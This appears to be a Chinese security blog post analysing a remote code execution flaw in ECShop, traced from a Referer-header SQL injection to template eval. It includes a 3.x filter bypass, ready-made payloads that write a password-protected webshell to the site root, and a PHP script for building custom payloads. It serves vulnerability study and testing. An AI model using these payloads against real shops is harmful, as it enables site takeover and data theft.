ECShop全系列版本遠端程式碼執行高危漏洞分析+實戰提權

ECSHOP · 發表 2018-09-20 18:53:24

摘要：漏洞概述 ECShop的user.php檔案中的display函式的模版變數可控，導致注入，配合注入可達到遠端程式碼執行。攻擊者無需登入站點等操作，可以直接遠端寫入webshell，危害嚴重。漏洞評級嚴重影響範圍 ECShop全系列版本，包括2.x,3.0.x,3.6...

漏洞概述

ECShop的user.php檔案中的display函式的模版變數可控，導致注入，配合注入可達到遠端程式碼執行。攻擊者無需登入站點等操作，可以直接遠端寫入webshell，危害嚴重。

漏洞評級

嚴重

影響範圍

ECShop全系列版本，包括2.x,3.0.x,3.6.x等。

漏洞分析

0x01. SQL%E6%B3%A8%E5%85%A5/">SQL注入

先看 ecshop/user.php:302

$back_act 變數來源於 HTTP_REFERER ，可控。

Ecshop 使用了 php 模版引擎 smarty ，該引擎有兩個基本的函式assign()、display()。assign()函式用於在模版執行時為模版變數賦值，display()函式用於顯示模版。smarty執行時，會讀取模版檔案，將模版檔案中的佔位符替換成assign()函式傳遞過來的引數值，並輸出一個編譯處理後的php檔案，交由伺服器執行。

在： ecshop/includes/init.php:169 檔案中建立了Smarty物件 cls_template 來處理模版檔案，對應的檔案是 includes/cla_template.php ，如下圖：

我們再看 assign 函式： ecshop/includes/cls_template.php：70

assign 函式用於在模版變數裡賦值。

display 函式： ecshop/includes/cls_template.php：100

從函式來看，首先會呼叫 $this->fetch 來處理 user_passport.dwt 模板檔案， fetch() 函式中會呼叫 $this->make_compiled 來編譯模板。 make_compiled 會將模板中的變數解析，也就是在這個時候將上面 assign 中註冊到的變數 $back_act 傳遞進去了，解析完變數之後返回到 display 函式中。此時 $out 是解析變數後的html內容，判斷 $this->_echash 是否在 $out 中，若在，使用 $this->_echash 來分割內容，得到 $k 然後交給 insert_mod 處理。

user_passport.dwt 模版檔案內容：

來看看 _echash 是啥，此檔案28行：

由於 _echash 是固定的，不是隨機生成的。（2.7版本的 _echash 值為 554fcae493e564ee0dc75bdf2ebf94ca 而3.x版本的 _echash 值為 45ea207d7a2b68c49582d2d22adf953 ）所以 $val 內容可控！

跟進 insert_mod() 函式，此檔案1150行：

$val 傳遞進來，先用 | 分割，得到 $para 和 $fun ， $para 進行反序列操作， insert_ 和 $fun 拼接，最後動態呼叫 $fun($para) 。函式名部分可控，引數完全可控。接下來就是尋找以 insert_ 開頭的可利用的函數了，在 ecshop/includes/lib_insert.php 有一個 insert_ads 函式，正好滿足要求。

最後來看動態內容函式庫中的 insert_ads() 函式： ecshop/includes/lib_insert.php：136

可以看到這裡執行了SQL語句，而 $arr['id'] 和 $arr['num'] 這兩個引數正是我們傳進來的陣列中的內容，引數可控，而且沒有作任何過濾，就造成了SQL注入漏洞。

payload：

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:”num”;s:72:”0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -“;s:2:”id”;i:1;}

其資料庫查詢語句為：

SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecsshop2`.`ecs_ad` AS a LEFT JOIN `ecsshop2`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1537322291' AND end_time >= '1537322291' AND a.position_id = '1' ORDER BY rnd LIMIT 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -

0x02. 遠端程式碼執行

接著，程式會呼叫模板類的 fetch() 函式： ecshop/includes/lib_insert.php：215

在 user.php 中呼叫 display ，然後呼叫 fetch 的時候傳入的引數是 user_passport.dwt ，而在此處傳入的引數是 $position_style 。向上溯源，發現是 $row['position_style'] 賦值而來： ecshop/includes/lib_insert.php：176

而 position_style 是SQL語句查詢的結果，結果上面這個SQL注入漏洞，SQL查詢的結果可控，也就是 $position_style 可控。要到 $position_style = $row['position_style']; 還有一個條件，就是 $row['position_id'] 要等於 $arr['id'] 。

並且構造SQL注入時，這段SQL操作 ORDER BY rnd LIMIT 1 部分換行了截斷不了,所以需要在id處構造註釋來配合num進行union查詢。

那麼 id 傳入 '/* ， num 傳入 */ union select 1,0x272f2a,3,4,5,6,7,8,9,10– - 即可繞過這兩個問題。

資料庫查詢語句為： SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM ecsshop . ecs_ad AS a LEFT JOIN ecsshop . ecs_ad_position AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1535678679' AND end_time >= '1535678679' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,0x272f2a,3,4,5,6,7,8,9,10-- -;

之後 $position_style 會拼接 'str:' 傳入 fetch 函式。

追蹤 fetch() 函式： ecshop/includes/cls_template.php：135

因為之前拼接 'str:' 了，所以 strncmp($filename,'str:', 4) == 0 為真，然後會呼叫危險函式 $this->_eval ，這也就是最終觸發漏洞的點。但是引數在傳遞之前經過了 fetch_str 方法的處理，跟進： ecshop/includes/cls_template.php:281

第一個正則會匹配一些關鍵字後置空，主要看最後的返回正則：

return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);

這個正則是將 $source 的值交於 $this->select() 函式處理。例如， $source 的值是 xxx{$abc}xxx ，正則捕獲到的 group 1 就是 $abc ，然後就會呼叫 $this->select("$abc") 。

跟進 select() 函式： 本檔案368行

當傳入的變數的第一個字元是 $ 時，會返回由 php 標籤包含變數的字串，最終返回到 _eval() 危險函式內執行。在返回之前，還呼叫了 $this->get_var 處理，跟進 get_var ： 本檔案548行

當傳入的變數沒有 .$ 時，呼叫 $this->make_var ，跟進 make_var() ： 本檔案671行

在這裡結合 select 函式裡面的語句來看， <?php echo $this->_var[' $val '];?> ，要成功執行程式碼的話， $val 必須要把 [' 閉合，所以payload構造，從下往上構造。 $val 為 abc'];echo phpinfo();//； 從 select 函式進入 get_var 的條件是第一個字元是 $ ，所以payload變成了 $abc'];echo phpinfo();//； 而要進入到 select ，需要被捕獲，payload變成了 {$abc'];echo phpinfo();//} ，這裡因為payload的是 phpinfo() ，這裡會被 fetch_str 函式的第一個正則匹配到，需要變換一下，所以payload變為 {$abc'];echo phpinfo/**/();//} 。到這裡為止，php惡意程式碼就構造完成了。

結合之前的SQL注入漏洞，最終執行惡意程式碼的payload為：

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

0x03. ECShop3.x

簡單講一下3.x版本吧。

在ECShop3.x版本中，添加了一個 includes/safety.php 檔案，專門用於消除有害資料，它的正則會匹配到 set 、 concat 、 information_schema 、 select from 等語句。暫時沒有找到可繞過的SQL語句，但是命令執行還是可以繞過的。因為我們之前的payload經過編碼，這樣就繞過了正則匹配。現在唯一能匹配到的就是 union select 語句，我們可以同時利用 $arr['id'] 和 $arr['num'] 兩個引數，將 union 和 select 分開傳遞即可繞過正則檢測。

漏洞復現

本次復現的是ECShop_V2.7.3，打包原始碼 ofollow,noindex" target="_blank">ECShop_V2.7.3_UTF8_release1106.rar （提取碼： 2yk1 ）。ecshop2.7.3是在php5.2環境下開發的老網店系統了，現在很多伺服器環境已經升級為PHP5.3或php5.4甚至更好的了，那麼在php5.3以上版本的伺服器環境中執行出現必然出現很多相容問題，推薦2篇解決文章： 1 、 2 。

phpinfo()：

webshell：

不想本地搭建環境的朋友，推薦兩個線上漏洞環境，但是為了更深刻的瞭解其原理與學習，建議本地搭建除錯分析。

線上環境vulnspy

線上環境vulhub

EXP與一個小指令碼和批量掃描檢測工具

2.x

phpinfo():

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

webshell:

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}

會在網站根目錄生成 1.php ，密碼： 1337

3.x

phpinfo():

Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UIO/">NION/*";}45ea207d7a2b68c49582d2d22adf953a

webshell:

Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:289:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a

會在網站根目錄生成 1.php ，密碼： 1337

小指令碼

下面給出一個序列化的php指令碼（第9個位置就是你想要的）：

<?php
$arr=array('num'=>'*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4575634768774A79776E50443977614841675A585A686243676B58314250553152624F546C644B543867506963702729293B2F2F7D787878,10-- -','id'=>'\'/*');
echo serialize($arr);
?>